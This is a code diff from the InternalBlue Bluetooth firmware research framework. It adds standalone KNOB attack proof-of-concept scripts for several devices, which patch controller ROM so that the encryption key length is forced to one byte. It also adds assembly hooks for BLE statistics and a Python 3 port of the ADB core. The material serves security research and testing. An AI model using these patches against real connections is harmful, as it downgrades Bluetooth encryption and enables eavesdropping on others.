# this somehow crashes on the Nexus 6P, but the global variable seems to be sufficient :)
|
||||
|
||||
# modify global variable for own setting
|
||||
internalblue.writeMem(0x204147, b'\x01') # global key entropy
|
||||
|
||||
|
||||
|
||||
log.info("-----------------------KNOB-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
|
||||
"On Android, this requires a modified bluetooth.default.so.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
"""
|
||||
Introduce a new CLI command to make KNOB debugging easier...
|
||||
"""
|
||||
keywords = ["knob"]
|
||||
description = "Debugs which key length is currently active within a connection handle."
|
||||
|
||||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
|
||||
|
||||
parser.add_argument("--hnd", type=auto_int, default=0x000c,
|
||||
help="Handle KNOB connection.")
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
|
||||
def hciKnobCallback(record):
|
||||
"""
|
||||
Adds a new callback function so that we do not need to call Wireshark.
|
||||
"""
|
||||
hcipkt = record[0]
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
# add our command
|
||||
cmd.CmdKnob = CmdKnob
|
||||
internalblue.registerHciCallback(hciKnobCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
Executable → Regular
+4
-5
@@ -1,12 +1,11 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Jiska Classen
|
||||
|
||||
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
|
||||
|
||||
from pwn import *
|
||||
from internalblue import Address
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
|
||||
internalblue = HCICore()
|
||||
device_list = internalblue.device_list()
|
||||
@@ -16,7 +15,7 @@ if len(device_list) == 0:
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
|
||||
|
||||
RX_DONE_HOOK_ADDRESS = 0x35fbc # _connTaskRxDone
|
||||
RX_DONE_HOOK_ADDRESS = Address(0x35fbc) # _connTaskRxDone
|
||||
HOOKS_LOCATION = 0x210500
|
||||
ASM_HOOKS = """
|
||||
|
||||
Executable
+96
@@ -0,0 +1,96 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
from internalblue import Address
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
|
||||
|
||||
"""
|
||||
This is a standalone PoC for the KNOB attack on a Raspberry Pi 3.
|
||||
|
||||
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
|
||||
For details see https://github.com/francozappa/knob
|
||||
|
||||
This PoC is much shorter since it only modifies global variables for key entropy.
|
||||
|
||||
"""
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
patch = asm("mov r2, #0x1", vma=0x689F0) # connection struct key entropy
|
||||
internalblue.patchRom(Address(0x689F0), patch)
|
||||
|
||||
# modify global variable for own setting
|
||||
internalblue.writeMem(0x204127, b'\x01') # global key entropy
|
||||
|
||||
|
||||
log.info("-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
|
||||
"For more details, see special instructions for BlueZ.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
"""
|
||||
Introduce a new CLI command to make KNOB debugging easier...
|
||||
"""
|
||||
keywords = ["knob"]
|
||||
description = "Debugs which key length is currently active within a connection handle."
|
||||
|
||||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
|
||||
|
||||
parser.add_argument("--hnd", type=auto_int, default=0x000c,
|
||||
help="Handle KNOB connection.")
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
|
||||
def hciKnobCallback(record):
|
||||
"""
|
||||
Adds a new callback function so that we do not need to call Wireshark.
|
||||
"""
|
||||
hcipkt = record[0]
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
# add our command
|
||||
cmd.CmdKnob = CmdKnob
|
||||
internalblue.registerHciCallback(hciKnobCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
|
||||
Executable → Regular
+4
-5
@@ -1,12 +1,11 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Jiska Classen
|
||||
|
||||
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
|
||||
|
||||
from pwn import *
|
||||
from internalblue import Address
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
|
||||
internalblue = HCICore()
|
||||
device_list = internalblue.device_list()
|
||||
@@ -16,7 +15,7 @@ if len(device_list) == 0:
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
|
||||
|
||||
RX_DONE_HOOK_ADDRESS = 0x56622 # _connTaskRxDone
|
||||
RX_DONE_HOOK_ADDRESS = Address(0x56622) # _connTaskRxDone
|
||||
HOOKS_LOCATION = 0x210500
|
||||
ASM_HOOKS = """
|
||||
|
||||
Executable
+95
@@ -0,0 +1,95 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
from internalblue import Address
|
||||
from internalblue.hcicore import HCICore
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
|
||||
|
||||
"""
|
||||
This is a standalone PoC for the KNOB attack on a Raspberry Pi 3+/4.
|
||||
|
||||
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
|
||||
For details see https://github.com/francozappa/knob
|
||||
|
||||
This PoC is much shorter since it only modifies global variables for key entropy.
|
||||
|
||||
"""
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
patch = asm("mov r2, #0x1", vma=0x3B3D4) # connection struct key entropy
|
||||
internalblue.patchRom(Address(0x3B3D4), patch)
|
||||
|
||||
# modify global variable for own setting
|
||||
internalblue.writeMem(0x204A5F, b'\x01') # global key entropy
|
||||
|
||||
|
||||
log.info("-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
|
||||
"For more details, see special instructions for BlueZ.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
"""
|
||||
Introduce a new CLI command to make KNOB debugging easier...
|
||||
"""
|
||||
keywords = ["knob"]
|
||||
description = "Debugs which key length is currently active within a connection handle."
|
||||
|
||||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
|
||||
|
||||
parser.add_argument("--hnd", type=auto_int, default=0x000c,
|
||||
help="Handle KNOB connection.")
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
|
||||
def hciKnobCallback(record):
|
||||
"""
|
||||
Adds a new callback function so that we do not need to call Wireshark.
|
||||
"""
|
||||
hcipkt = record[0]
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
# add our command
|
||||
cmd.CmdKnob = CmdKnob
|
||||
internalblue.registerHciCallback(hciKnobCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
|
||||
@@ -0,0 +1,178 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Jiska Classen
|
||||
|
||||
# Get receive statistics on a Samsung Galaxy S8 for BLE connection events
|
||||
|
||||
from builtins import range
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm, u8, u16
|
||||
internalblue = ADBCore(serial=True)
|
||||
device_list = internalblue.device_list()
|
||||
if len(device_list) == 0:
|
||||
log.warn("No HCI devices connected!")
|
||||
exit(-1)
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
|
||||
|
||||
"""
|
||||
# _connTaskRxDone has a Patchram position, S8 fixed almost everything in BLE, because
|
||||
# they had to for Bluetooth 5 compliance.
|
||||
# The base address is 0x5E324, and this will jump into the Patchram.
|
||||
# You need to adjust the RX_DONE_HOOK_ADDRESS in the beginning.
|
||||
"""
|
||||
#RX_DONE_HOOK_ADDRESS = 0x1344D0 # on S8 with Patchlevel May 1 2019 on stock ROM
|
||||
#RX_DONE_HOOK_ADDRESS = 0x134500 # on S8 with Lineage OS Nightly from August 30 2019
|
||||
RX_DONE_HOOK_ADDRESS = 0x134514 # on S8 with Patchlevel September 1 2019 on stock ROM
|
||||
HOOKS_LOCATION = 0x210500
|
||||
ASM_HOOKS = """
|
||||
|
||||
// restore first 4 bytes of _connTaskRxDone
|
||||
push {r4-r12,lr}
|
||||
mov r4, r0
|
||||
|
||||
// fix registers for our own routine
|
||||
push {r1-r7, lr}
|
||||
mov r7, r0
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r2, 243
|
||||
mov r1, 0xff
|
||||
mov r0, 245
|
||||
bl 0xE628 // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239);
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RXDN"
|
||||
add r0, 10 // buffer starts at 10 with data
|
||||
ldr r1, =0x4e445852 // RXDN
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// copy 239 bytes of le_conn to buffer
|
||||
mov r2, #238
|
||||
mov r1, r7 // le_conn[0]
|
||||
bl 0x857B4 // __rt_memcpy
|
||||
|
||||
// for debugging purposes, we overwrite the first byte
|
||||
// (which is the connTaskCallback anyway) with RSSI info
|
||||
mov r2, #1 // 1 rssi byte
|
||||
add.w r1, r7, #0x1ca // le_conn[0x1ca] is position of rssi
|
||||
mov r0, r4
|
||||
add r0, 14
|
||||
bl 0x857B4 // __rt_memcpy
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0xE418 // bthci_event_AttemptToEnqueueEventToTransport
|
||||
|
||||
// undo registers for our own routine
|
||||
mov r0, r7
|
||||
pop {r1-r7, lr}
|
||||
|
||||
// branch back to _connTaskRxDone + 4
|
||||
//b 0x1344D4 // on S8 with Patchlevel May 1 2019 on stock ROM
|
||||
//b 0x134504 // August 30 Nightly Build
|
||||
b 0x%x
|
||||
|
||||
""" % (RX_DONE_HOOK_ADDRESS+4)
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
# Install hooks
|
||||
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
|
||||
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
|
||||
if not internalblue.writeMem(HOOKS_LOCATION, code):
|
||||
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
|
||||
exit(-1)
|
||||
|
||||
log.info("Installing hook patch...")
|
||||
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
|
||||
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
|
||||
log.critical("Installing patch for _connTaskRxDone failed!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# RXDN statistics callback variables
|
||||
internalblue.last_nesn_sn = None
|
||||
internalblue.last_success_event = None
|
||||
|
||||
|
||||
def lereceiveStatusCallback(record):
|
||||
"""
|
||||
RXDN Callback Function
|
||||
|
||||
Depends on the raspi3_rxdn.py or eval_rxdn.py script,
|
||||
which patches the _connTaskRxDone() function and copies
|
||||
info from the LE connection struct to HCI.
|
||||
"""
|
||||
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == "RXDN":
|
||||
data = hcipkt.data[4:]
|
||||
|
||||
# Raspi 3 gets errors
|
||||
if len(data) < 239:
|
||||
return
|
||||
|
||||
#if raspi or s8:
|
||||
packet_curr_nesn_sn = u8(data[0xa0])
|
||||
|
||||
#elif eval:
|
||||
# packet_curr_nesn_sn = u8(data[0xa4])
|
||||
|
||||
packet_channel_map = data[0x54:0x7b]
|
||||
packet_channel = data[0x83]
|
||||
packet_event_ctr = u16(data[0x8e:0x90])
|
||||
packet_rssi = data[0]
|
||||
|
||||
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
|
||||
log.info(" ^----------------------------- ERROR --------------------------------")
|
||||
|
||||
# currently only supported by eval board: check if we also went into the process payload routine,
|
||||
# which probably corresponds to a correct CRC
|
||||
# if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
|
||||
# log.debug(" ^----------------------------- MISSED -------------------------------")
|
||||
|
||||
# TODO example for setting the channel map
|
||||
# timeout needs to be zero, because we are already in an event reception routine!
|
||||
# self.sendHciCommand(0x2014, '\x00\x00\xff\x00\x00', timeout=0)
|
||||
|
||||
internalblue.last_nesn_sn = packet_curr_nesn_sn
|
||||
|
||||
# draw channel with rssi color
|
||||
color = '\033[92m' # green
|
||||
if 0xc8 > packet_rssi >= 0xc0:
|
||||
color = '\033[93m' # yellow
|
||||
elif packet_rssi < 0xc0:
|
||||
color = '\033[91m' # red
|
||||
|
||||
channels_total = packet_channel_map[37]
|
||||
channel_map = 0x0000000000
|
||||
if channels_total <= 37: # raspi 3 messes up with this during blacklisting
|
||||
for channel in range(0, channels_total):
|
||||
channel_map |= (0b1 << 39) >> packet_channel_map[channel]
|
||||
|
||||
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
|
||||
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
|
||||
color, ' ' * packet_channel))
|
||||
|
||||
|
||||
|
||||
log.info("--------------------")
|
||||
log.info("Entering InternalBlue CLI to display statistics.")
|
||||
|
||||
# add RXDN callback
|
||||
internalblue.registerHciCallback(lereceiveStatusCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
Executable
+95
@@ -0,0 +1,95 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
from internalblue import Address
|
||||
from internalblue.adbcore import ADBCore
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
|
||||
|
||||
"""
|
||||
This is a standalone PoC for the KNOB attack on a Samsung Galaxy S8.
|
||||
|
||||
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
|
||||
For details see https://github.com/francozappa/knob
|
||||
|
||||
This PoC is much shorter since it only modifies global variables for key entropy.
|
||||
|
||||
"""
|
||||
|
||||
|
||||
internalblue = ADBCore(serial=True)
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
patch = asm("mov r2, #0x1", vma=0x530F6) # connection struct key entropy
|
||||
internalblue.patchRom(Address(0x530F6), patch)
|
||||
|
||||
# modify global variable for own setting
|
||||
internalblue.writeMem(0x255E8F, b'\x01') # global key entropy
|
||||
|
||||
|
||||
|
||||
log.info("-----------------------KNOB-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
|
||||
"On Android, this requires a modified bluetooth.default.so.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
"""
|
||||
Introduce a new CLI command to make KNOB debugging easier...
|
||||
"""
|
||||
keywords = ["knob"]
|
||||
description = "Debugs which key length is currently active within a connection handle."
|
||||
|
||||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
|
||||
|
||||
parser.add_argument("--hnd", type=auto_int, default=0x000c,
|
||||
help="Handle KNOB connection.")
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
|
||||
def hciKnobCallback(record):
|
||||
"""
|
||||
Adds a new callback function so that we do not need to call Wireshark.
|
||||
"""
|
||||
hcipkt = record[0]
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
# add our command
|
||||
cmd.CmdKnob = CmdKnob
|
||||
internalblue.registerHciCallback(hciKnobCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
@@ -1 +1,53 @@
|
||||
from future import standard_library
|
||||
|
||||
standard_library.install_aliases()
|
||||
|
||||
import datetime
|
||||
|
||||
from queue import Queue
|
||||
from typing import (
|
||||
List,
|
||||
Optional,
|
||||
Any,
|
||||
TYPE_CHECKING,
|
||||
Tuple,
|
||||
Union,
|
||||
NewType,
|
||||
Callable,
|
||||
Dict,
|
||||
)
|
||||
|
||||
Address = NewType("Address", int)
|
||||
ConnectionNumber = NewType("ConnectionNumber", int)
|
||||
ConnectionIndex = NewType("ConnectionIndex", int)
|
||||
|
||||
BluetoothAddress = NewType("BluetoothAddress", bytes)
|
||||
ConnectionDict = NewType("ConnectionDict", Dict[str, Any])
|
||||
HeapInformation = NewType("HeapInformation", Dict[str, Any])
|
||||
QueueInformation = NewType("QueueInformation", Dict[str, Any])
|
||||
|
||||
try:
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from internalblue.hci import HCI
|
||||
from internalblue.core import InternalBlue
|
||||
|
||||
Record = Tuple[HCI, int, int, int, Any, datetime.datetime]
|
||||
FilterFunction = Callable[[Record], bool]
|
||||
|
||||
Opcode = NewType("Opcode", int)
|
||||
HCI_CMD = NewType("HCI_CMD", int)
|
||||
Task = Tuple[HCI_CMD, bytes, Queue, Callable[[Record], bool]]
|
||||
|
||||
Device = NewType("Device", Dict[str, Any])
|
||||
"""{"dev_id": dev_id,
|
||||
"dev_name": dev_name,
|
||||
"dev_bdaddr": dev_bdaddr,
|
||||
"dev_flags": dev_flags,
|
||||
"dev_flags_str": dev_flags_str}"""
|
||||
# InternalBlueCore, Device Name, SomeString
|
||||
DeviceTuple = Tuple[InternalBlue, str, str]
|
||||
|
||||
|
||||
except:
|
||||
pass
|
||||
|
||||
+214
-50
@@ -1,21 +1,49 @@
|
||||
#!/usr/bin/env python2
|
||||
import struct
|
||||
from time import sleep
|
||||
from typing import Optional
|
||||
|
||||
from future import standard_library
|
||||
|
||||
from pwnlib import adb
|
||||
from pwnlib.exception import PwnlibException
|
||||
|
||||
standard_library.install_aliases()
|
||||
from builtins import str
|
||||
import datetime
|
||||
import socket
|
||||
import Queue
|
||||
import queue as queue2k
|
||||
import random
|
||||
import hci
|
||||
from internalblue import hci
|
||||
from internalblue.utils import bytes_to_hex
|
||||
|
||||
from pwn import *
|
||||
|
||||
from core import InternalBlue
|
||||
from internalblue.utils.pwnlib_wrapper import log, context, u32
|
||||
from .core import InternalBlue
|
||||
|
||||
|
||||
class ADBCore(InternalBlue):
|
||||
|
||||
def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', data_directory="."):
|
||||
super(ADBCore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory)
|
||||
self.hciport = None # hciport is the port number of the forwarded HCI snoop port (8872). The inject port is at hciport+1
|
||||
def __init__(
|
||||
self,
|
||||
queue_size=1000,
|
||||
btsnooplog_filename="btsnoop.log",
|
||||
log_level="info",
|
||||
fix_binutils="True",
|
||||
serial=False,
|
||||
data_directory=".",
|
||||
replay=False,
|
||||
):
|
||||
super(ADBCore, self).__init__(
|
||||
queue_size,
|
||||
btsnooplog_filename,
|
||||
log_level,
|
||||
fix_binutils,
|
||||
data_directory,
|
||||
replay,
|
||||
)
|
||||
self.hciport: Optional[int] = None # hciport is the port number of the forwarded HCI snoop port (8872). The inject port is at hciport+1
|
||||
self.serial = serial # use serial su busybox scripting and do not try bluetooth.default.so
|
||||
self.doublecheck = False
|
||||
|
||||
def device_list(self):
|
||||
"""
|
||||
@@ -29,29 +57,33 @@ class ADBCore(InternalBlue):
|
||||
log.warn("Already running. call shutdown() first!")
|
||||
return []
|
||||
|
||||
if self.replay:
|
||||
return [(self, "adb_replay", "adb: ReplayDevice")]
|
||||
# Check for connected adb devices
|
||||
try:
|
||||
adb_devices = adb.devices()
|
||||
except ValueError:
|
||||
log.info("Could not find devices with pwnlib. If you see devices with `adb devices`, try to remove the lines 'for field in fields[2:]:... = v' in `pwnlib/adb/adb.py`.")
|
||||
log.info(
|
||||
"Could not find devices with pwnlib. If you see devices with `adb devices`, try to remove the lines 'for field in fields[2:]:... = v' in `pwnlib/adb/adb.py`."
|
||||
)
|
||||
adb_devices = 0
|
||||
except:
|
||||
adb_devices = 0
|
||||
|
||||
|
||||
if adb_devices == 0 or len(adb_devices) == 0:
|
||||
log.info("No adb devices found.")
|
||||
return []
|
||||
|
||||
# At least one device fonund
|
||||
# At least one device found
|
||||
log.info("Found multiple adb devices")
|
||||
|
||||
# Enumerate over found devices and put them into an array of tupple
|
||||
# First index is a self reference of the class
|
||||
# Scond index is the identifier which is passed to connect()
|
||||
# Second index is the identifier which is passed to connect()
|
||||
# Third index is the label which is shown in options(...)
|
||||
device_list = []
|
||||
for d in adb_devices:
|
||||
device_list.append((self, d.serial, 'adb: %s (%s)' % (d.serial, d.model)))
|
||||
device_list.append((self, d.serial, "adb: %s (%s)" % (d.serial, d.model)))
|
||||
|
||||
return device_list
|
||||
|
||||
@@ -65,9 +97,26 @@ class ADBCore(InternalBlue):
|
||||
context.device = self.interface
|
||||
|
||||
# setup sockets
|
||||
# on magisk-rooted devices there is sometimes already a read socket and this first setup needs to be skipped...
|
||||
if not self.serial:
|
||||
if not self._setupSockets():
|
||||
log.info("Could not connect using Bluetooth module.")
|
||||
log.info(
|
||||
"Trying to set up connection for rooted smartphone with busybox installed."
|
||||
)
|
||||
else:
|
||||
return True # successfully finished setup with bluetooth.default.so
|
||||
|
||||
if not self._setupSerialSu():
|
||||
log.critical("Failed to setup scripts for rooted devices.")
|
||||
return False
|
||||
|
||||
# try again
|
||||
if not self._setupSockets():
|
||||
log.critical("No connection to target device.")
|
||||
log.info("Check if:\n -> Bluetooth is active\n -> Bluetooth Stack has Debug Enabled\n -> BT HCI snoop log is activated\n -> USB debugging is authorized\n")
|
||||
log.info(
|
||||
"Check if:\n -> Bluetooth is active\n -> Bluetooth Stack has Debug Enabled\n -> BT HCI snoop log is activated\n -> USB debugging is authorized\n"
|
||||
)
|
||||
return False
|
||||
|
||||
return True
|
||||
@@ -78,13 +127,17 @@ class ADBCore(InternalBlue):
|
||||
"""
|
||||
|
||||
data = self.s_snoop.recv(16)
|
||||
if(len(data) < 16):
|
||||
if len(data) < 16:
|
||||
return None
|
||||
if(self.write_btsnooplog) and self.btsnooplog_file.tell() == 0:
|
||||
if (self.write_btsnooplog) and self.btsnooplog_file.tell() == 0:
|
||||
self.btsnooplog_file.write(data)
|
||||
self.btsnooplog_file.flush()
|
||||
|
||||
btsnoop_hdr = (data[:8], u32(data[8:12],endian="big"),u32(data[12:16],endian="big"))
|
||||
btsnoop_hdr = (
|
||||
data[:8],
|
||||
u32(data[8:12], endian="big"),
|
||||
u32(data[12:16], endian="big"),
|
||||
)
|
||||
log.debug("BT Snoop Header: %s, version: %d, data link type: %d" % btsnoop_hdr)
|
||||
return btsnoop_hdr
|
||||
|
||||
@@ -100,7 +153,9 @@ class ADBCore(InternalBlue):
|
||||
this field as 0x00E03AB44A676000.
|
||||
"""
|
||||
time_betw_0_and_2000_ad = int("0x00E03AB44A676000", 16)
|
||||
time_since_2000_epoch = datetime.timedelta(microseconds=time) - datetime.timedelta(microseconds=time_betw_0_and_2000_ad)
|
||||
time_since_2000_epoch = datetime.timedelta(
|
||||
microseconds=time
|
||||
) - datetime.timedelta(microseconds=time_betw_0_and_2000_ad)
|
||||
return datetime.datetime(2000, 1, 1) + time_since_2000_epoch
|
||||
|
||||
def _recvThreadFunc(self):
|
||||
@@ -120,18 +175,23 @@ class ADBCore(InternalBlue):
|
||||
context.log_level = self.log_level
|
||||
|
||||
# Read the record header
|
||||
record_hdr = b''
|
||||
while(not self.exit_requested and len(record_hdr) < 24):
|
||||
record_hdr = b""
|
||||
while not self.exit_requested and len(record_hdr) < 24:
|
||||
try:
|
||||
recv_data = self.s_snoop.recv(24 - len(record_hdr))
|
||||
log.debug("recvThreadFunc: received bt_snoop data " + recv_data.encode('hex'))
|
||||
log.debug(
|
||||
"recvThreadFunc: received bt_snoop data "
|
||||
+ bytes_to_hex(recv_data)
|
||||
)
|
||||
if len(recv_data) == 0:
|
||||
log.info("recvThreadFunc: bt_snoop socket was closed by remote site. stopping recv thread...")
|
||||
log.info(
|
||||
"recvThreadFunc: bt_snoop socket was closed by remote site. stopping recv thread..."
|
||||
)
|
||||
self.exit_requested = True
|
